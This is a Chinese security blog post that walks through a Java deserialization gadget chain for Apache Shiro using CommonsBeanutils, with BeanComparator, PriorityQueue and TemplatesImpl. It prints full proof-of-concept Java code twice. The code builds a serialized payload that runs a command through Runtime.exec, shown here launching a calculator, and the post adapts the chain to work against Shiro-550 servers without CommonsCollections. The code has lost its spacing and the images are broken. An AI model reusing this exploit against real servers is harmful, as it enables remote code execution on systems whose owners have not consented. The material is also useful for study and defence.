Shiro安全(三):Shiro自身利用链之CommonsBeanutils
0x00 前言
前面在利用shiro反序列化时,都是利用CC链,但是这需要服务端引入CommonsCollections组件。所以最好是找到一条shiro自身的利用链,而不需要任何的前提条件
在之前曾介绍过
java.util.PriorityQueue
,在反序列化这个对象时,为了保证队列顺序,会进行重排序的操作,而排序就涉 及到大小比较,进而执行 java.util.Comparator 接口的 compare() 方法。
是否能够找到其他的Comparator呢
0x01 利用链分析
/**
* 利用链:
* PriorityQueue#readObject
* PriorityQueue#heapify
* PriorityQueue#siftDown
* PriorityQueue#siftDownUsingComparator
* BeanComparator#compare
* TemplatesImpl#getOutputProperties
* Runtime....
*/
这里引入Apache Commons Beanutils,它是是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对 象(也称为JavaBean)的一些操作方法。
在该项目中提供了一个静态方法
PropertyUtils.getProperty
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3HgciOpl-1659708120352)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220805210106553.png)]](https://img-blog.csdnimg.cn/0a46f110b43c448d9c7e95550fe4b869.png)
该方法的作用是调用任意javabean的gettter方法
PropertyUtils.getProperty(newCat(),"name")
这个时候会调用Cat对象的getname方法并返回
那如果我们传入的是恶意TemplatesImpl对象并且第二个参数是OutputProperties呢,此时就会进入调用TemplatesImpl#getOutputProperties从而触发后面的链子,这个在fastjson中讲到过。
此时我们就需要找到哪里利用了PropertyUtils.getProperty
org.apache.commons.beanutils.BeanComparator
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-R8WmqqyT-1659708120353)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220805211651198.png)]](https://img-blog.csdnimg.cn/6a37c224847248aeb52688c1747a4c9c.png)
BeanComparator#compare方法就调用了PropertyUtils.getProperty
此时我们就能想起PriorityQueue那条cc链,我们可以将BeanComparator赋值到PriorityQueue中,利用PriorityQueue#readobject触发
packagecom.govuln.deserialization;importjava.io.*;importjava.lang.reflect.Field;importjava.util.PriorityQueue;importcom.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;importcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;importcom.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;importjavassist.ClassClassPath;importjavassist.ClassPool;importjavassist.CtClass;importorg.apache.commons.beanutils.BeanComparator;publicclassCommonsBeanutils1{publicstaticvoidsetFieldValue(Object obj,String fieldName,Object
value)throwsException{Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);}publicstaticvoidmain(String[] args)throwsException{ClassPool pool =ClassPool.getDefault();
pool.insertClassPath(newClassClassPath(AbstractTranslet.class));CtClass cc = pool.makeClass("Cat");String cmd ="java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);String randomClassName ="Calc"+System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));TemplatesImpl obj =newTemplatesImpl();setFieldValue(obj,"_bytecodes",newbyte[][]{cc.toBytecode()});setFieldValue(obj,"_name","HelloTemplatesImpl");setFieldValue(obj,"_tfactory",newTransformerFactoryImpl());finalBeanComparator comparator =newBeanComparator();finalPriorityQueue<Object> queue =newPriorityQueue<Object>(2,
comparator);// stub data for replacement later
queue.add(1);
queue.add(1);setFieldValue(comparator,"property","outputProperties");setFieldValue(queue,"queue",newObject[]{obj, obj});ObjectOutputStream outputStream =newObjectOutputStream(newFileOutputStream("./CommonsBeanutils.ser"));
outputStream.writeObject(queue);
outputStream.close();ObjectInputStream inputStream =newObjectInputStream(newFileInputStream("./CommonsBeanutils.ser"));
inputStream.readObject();
inputStream.close();}}
成功触发计算器
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-J0Ihkc2k-1659708120353)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220805212649849.png)]](https://img-blog.csdnimg.cn/6b40e47dd6a54588af6330ff1a5371d3.png)
0x02 Shiro550利用
好了,现在利用链分析完了,现在该考虑如何在shiro中利用
这条链子依赖的是Commons Beanutils这个包,而这个包shiro它自带了,所以说是shiro自身的利用链
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-q6Lt59Hs-1659708120353)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220805213003954.png)]](https://img-blog.csdnimg.cn/93e683a605164c3a8289a88d57ac6f6e.png)
我们生成这个链子的payload发送过去
期间可能会存在serialVersionUID错误,原因是因为本地Commons-Beanutils版本和服务端Commons-Beanutils版本不一致导致的
具体可看:P牛 安全漫谈第17篇
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MVU4IGmt-1659708120354)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220805213927482.png)]](https://img-blog.csdnimg.cn/379f3695fff34a1da494f135088b0dda.png)
报错了,报错如下
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Uo5mkxbK-1659708120354)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220805214355639.png)]](https://img-blog.csdnimg.cn/7796744d7ca6468b875ed66d562906c8.png)
意思就是comparablecomparator没找到,这个类可以看到是CC包里面的,服务器没有CC组件当然找不到
看一下我们在哪里用到了这个comparablecomparator
发现在初始化BeanComparator时给comparator赋了默认值ComparableComparator
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-z88eN8dB-1659708120354)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220805214738299.png)]](https://img-blog.csdnimg.cn/76885fba4389476899e8c4dca074d038.png)
这个类时CC包里的,所以报错提示说找不到
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-N8aush28-1659708120355)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220805214822035.png)]](https://img-blog.csdnimg.cn/ecb690647dc14d6ab6c0b330a3a4db5a.png)
所以我们得自己找个comparator,其要满足以下条件
- 实现 java.util.Comparator 接口
- 实现 java.io.Serializable 接口
- Java、shiro或commons-beanutils自带,兼容性强
最终找到了CaseInsensitiveComparator,这个类属于java.lang包下的,绝对兼容性强
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TjM7F3wX-1659708120355)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220805215029290.png)]](https://img-blog.csdnimg.cn/7d2e0af7b5c042e18dff5de14ae9fe9c.png)
这个类从图中也可以看到可以通过
String.CASE_INSENSITIVE_ORDER
获取
那么最终POC就是
importjava.io.*;importjava.lang.reflect.Field;importjava.util.PriorityQueue;importcom.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;importcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;importcom.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;importjavassist.ClassClassPath;importjavassist.ClassPool;importjavassist.CtClass;importorg.apache.commons.beanutils.BeanComparator;/**
* P牛
* 利用链:
* PriorityQueue#readObject
* PriorityQueue#heapify
* PriorityQueue#siftDown
* PriorityQueue#siftDownUsingComparator
* BeanComparator#compare
* TemplatesImpl#getOutputProperties
* Runtime....
*/publicclassCommonsBeanutils1{publicstaticvoidsetFieldValue(Object obj,String fieldName,Object
value)throwsException{Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);}publicstaticvoidmain(String[] args)throwsException{ClassPool pool =ClassPool.getDefault();
pool.insertClassPath(newClassClassPath(AbstractTranslet.class));CtClass cc = pool.makeClass("Cat");String cmd ="java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);String randomClassName ="Calc"+System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));TemplatesImpl obj =newTemplatesImpl();setFieldValue(obj,"_bytecodes",newbyte[][]{cc.toBytecode()});setFieldValue(obj,"_name","HelloTemplatesImpl");setFieldValue(obj,"_tfactory",newTransformerFactoryImpl());finalBeanComparator comparator =newBeanComparator(null,String.CASE_INSENSITIVE_ORDER);finalPriorityQueue<Object> queue =newPriorityQueue<Object>(2,
comparator);// stub data for replacement later
queue.add(1);
queue.add(1);setFieldValue(comparator,"property","outputProperties");setFieldValue(queue,"queue",newObject[]{obj, obj});ObjectOutputStream outputStream =newObjectOutputStream(newFileOutputStream("./CommonsBeanutils.ser"));
outputStream.writeObject(queue);
outputStream.close();ObjectInputStream inputStream =newObjectInputStream(newFileInputStream("./CommonsBeanutils.ser"));
inputStream.readObject();
inputStream.close();}}
成功弹出计算器
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-S4DwkRX5-1659708120355)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220805215401889.png)]](https://img-blog.csdnimg.cn/beb892201e8d4a6fbd1fa7fff9ae7b42.png)
0x03 总结
- 本文主要是要理解如何在没有CC组件等外部依赖的情况下,找到shiro自身的利用链来提高攻击的成功率
- 主要使用到了commons-beanutils这个包中的BeanComparator类和PropertyUtils类
BeanComparator做为PriorityQueue的comparator
PropertyUtils.getProperty在BeanComparator#compare中被触发从而进入TemplatesImpl#getOutputProperties
PS:这条链子请注意有两处Comparator,第一个是PriorityQueue中的Comparator即BeanComparator,要利用其compare方法调用PropertyUtils.getProperty
而第二处Comparator是BeanComparator中的Comparator,这个是谁都不重要,因为我们只需要进入到compare方法中执行第一行代码就能命令执行
![[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9csXh6rX-1659708120355)(C:\Users\91136\AppData\Roaming\Typora\typora-user-images\image-20220805215959948.png)]](https://img-blog.csdnimg.cn/c5e79225a2554104929098dc72fbf763.png)
0x04 文章参考
P牛 安全漫谈17篇
版权归原作者 浔阳江头夜送客丶 所有, 如有侵权,请联系我们删除。